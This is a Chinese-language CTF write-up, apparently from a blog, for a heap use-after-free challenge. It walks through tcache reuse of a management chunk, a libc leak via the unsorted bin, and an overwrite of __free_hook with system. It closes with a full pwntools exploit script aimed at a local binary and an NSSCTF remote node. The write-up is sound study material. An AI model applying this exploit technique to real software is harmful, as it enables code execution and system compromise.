image-20240312174622395

程序四个功能,存在UAF。

漏洞点

image-20240312174943813

攻击思路

1
2
3
add(0x20,'/bin/sh\x00','/bin/sh\x00')
add(0x30,'ccc','dddd')
add(0x30,'eee','ffff')

image-20240312175406960

根据堆块的内容,发现添加堆块的模式是先分配一个管理content的chunk,这个chunk被用来存放name和content的堆块指针以及堆块的free状态和size。

show和edit以及delete功能都是通过这个管理chunk中保存的content指针来进行操作的,所以我们的目的是可以控制到这个管理chunk,然后修改对应的content指针以及size和free状态即可随意控制。

1
2
delete(1)
delete(2)

因为delete功能是先释放content的chunk,然后再释放掉管理chunk,那么先释放掉两个size不等于0x30的chunk,此时为0x30大小的

tcachebins中有两个管理chunk

image-20240312180817912

那么直接再申请一个0x30大小的堆块,就会有一个管理chunk被当作content chunk来使用,即可控制这个content chunk。

1
add(0x20,'aaa','bbb')

image-20240312181212452

此时0x000064e516a812c0管理chunk就被当作content chunk使用了。

image-20240312181358444

原本是想利用这个chunk修改content指针为free_got。然后再直接修改free真实地址为system,但是发现程序开启了PIE保护,也没有什么简单的方法泄露出程序加载地址,所以就放弃了。还是直接泄露libc地址,然后打free_hook。

1
2
3
4
5
for i in range(8):
add(0x80,'a','a')
add(0x10,'a','a')
for i in range(8):
delete(i+4)

填满tchchebins,然后再free掉大于fastbins的chunk,会进入到unsortedbins。然后泄露即可。添加一个0x10是为了防止unsortedbin和top chunk合并

image-20240312190739535

1
2
3
4
5
6
7
8
show(11)
rl('\x0a')
libc_leak = uu64()
lg("libc_leak",libc_leak)
libc_base = libc_leak-0x3ebca0
lg("libc_base",libc_base)
free_hook = libc_base+libc.sym['__free_hook']
system = libc_base + libc.sym['system']

泄露完libc后,就该利用之前得到的管理chunk了。

1
edit(3,p64(0)*2+p64(free_hook)+p64(0x0000000100000030))

修改这个管理chunk中保存的content的chunk指针,使content指向free_hook区域,那么之后对这个content的操作就相当于是修改free_hook处的内容。0x0000000100000030是因为高8位保存的是free状态,如果是free则为0,如果是1则为malloc。需要将这个修改为malloc状态。

image-20240312191314442

1
2
edit(1,p64(system))
delete(0)

修改free_hook为system,然后再free掉保存着’/bin/sh\x00’的堆块。即可getshell

image-20240312191516743

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pwn import *
from ctypes import *
from libcfind import *
from LibcSearcher import*
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux","splitw","-h"]
debug = 1
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('node5.anna.nssctf.cn', 28945)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num))
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, '\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, '\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc-2.27.so')
def add(size,name,content):
rl("Choice: \n")
sl('1')
rl("Size:\n")
sl(str(size))
rl("Name: \n")
sl(name)
rl("Content:\n")
sl(content)
def show(index):
rl("Choice: \n")
sl('3')
rl("Input your idx:\n")
sl(str(index))
def edit(index,content):
rl("Choice: \n")
sl('4')
rl("Input your idx:\n")
sl(str(index))
sleep(1)
sl(content)
def delete(index):
rl("Choice: \n")
sl('2')
rl("Input your idx:\n")
sl(str(index))

free_got = elf.got['free']

gdb.attach(p)

add(0x20,'/bin/sh\x00','/bin/sh\x00')
add(0x30,'ccc','dddd')
add(0x30,'eee','ffff')

delete(1)
delete(2)

add(0x20,'aaa','bbb')

for i in range(8):
add(0x80,'a','a')

add(0x10,'a','a')

for i in range(8):
delete(i+4)

show(11)
rl('\x0a')
libc_leak = uu64()
lg("libc_leak",libc_leak)
libc_base = libc_leak-0x3ebca0
lg("libc_base",libc_base)
free_hook = libc_base+libc.sym['__free_hook']
system = libc_base + libc.sym['system']

edit(3,p64(0)*2+p64(free_hook)+p64(0x0000000100000030))

edit(1,p64(system))

delete(0)

inter()